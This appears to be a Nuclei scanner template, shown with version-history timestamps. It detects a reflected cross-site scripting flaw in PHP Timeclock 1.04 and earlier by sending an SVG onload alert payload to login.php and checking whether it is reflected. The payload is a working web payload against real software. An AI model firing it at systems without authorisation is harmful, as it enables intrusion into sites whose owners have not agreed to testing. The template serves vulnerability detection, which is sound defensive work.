2021-06-10 07:29:19 +00:00
|
|
|
id: php-timeclock-xss
|
|
|
|
|
|
|
|
info:
|
2022-09-23 17:53:08 +00:00
|
|
|
name: PHP Timeclock <=1.04 - Cross-Site Scripting
|
2021-06-10 07:29:19 +00:00
|
|
|
author: pikpikcu
|
2022-09-23 17:53:08 +00:00
|
|
|
severity: high
|
|
|
|
description: PHP Timeclock 1.04 and prior contains multiple cross-site scripting vulnerabilities via login.php, timeclock.php, reports/audit.php. and reports/timerpt.php
|
2022-04-22 10:38:41 +00:00
|
|
|
reference:
|
|
|
|
- https://www.exploit-db.com/exploits/49853
|
2022-09-23 17:53:08 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
|
|
|
|
cvss-score: 7.2
|
|
|
|
cwe-id: CWE-79
|
2023-04-28 08:11:21 +00:00
|
|
|
metadata:
|
|
|
|
max-request: 1
|
2023-10-14 11:27:55 +00:00
|
|
|
tags: xss,php,timeclock,edb,intrusive
|
2021-06-10 07:29:19 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2021-06-10 07:29:19 +00:00
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/login.php/'%3E%3Csvg/onload=alert%60{{randstr}}%60%3E"
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
2023-10-14 11:27:55 +00:00
|
|
|
|
2021-06-10 07:29:19 +00:00
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- "<svg/onload=alert`{{randstr}}`>"
|
2021-06-10 09:23:31 +00:00
|
|
|
- "PHP Timeclock Admin Login"
|
2021-06-10 07:29:19 +00:00
|
|
|
part: body
|
2021-06-10 09:23:31 +00:00
|
|
|
condition: and
|
|
|
|
|
2021-06-10 07:29:19 +00:00
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- "text/html"
|
|
|
|
part: header
|
2023-10-20 11:41:13 +00:00
|
|
|
|
|
|
|
# digest: 4a0a00473045022100ee28d6f4a6d8d0ecc7cb3ade7559a23536297ed6d8dfd393aa8a368b00c2c85b022057dc51c47c0592d5e0dc08a9df730ce718b12e9d350f891f257fe7ea7d4642a9:922c64590222798bb761d5b6d8e72950
|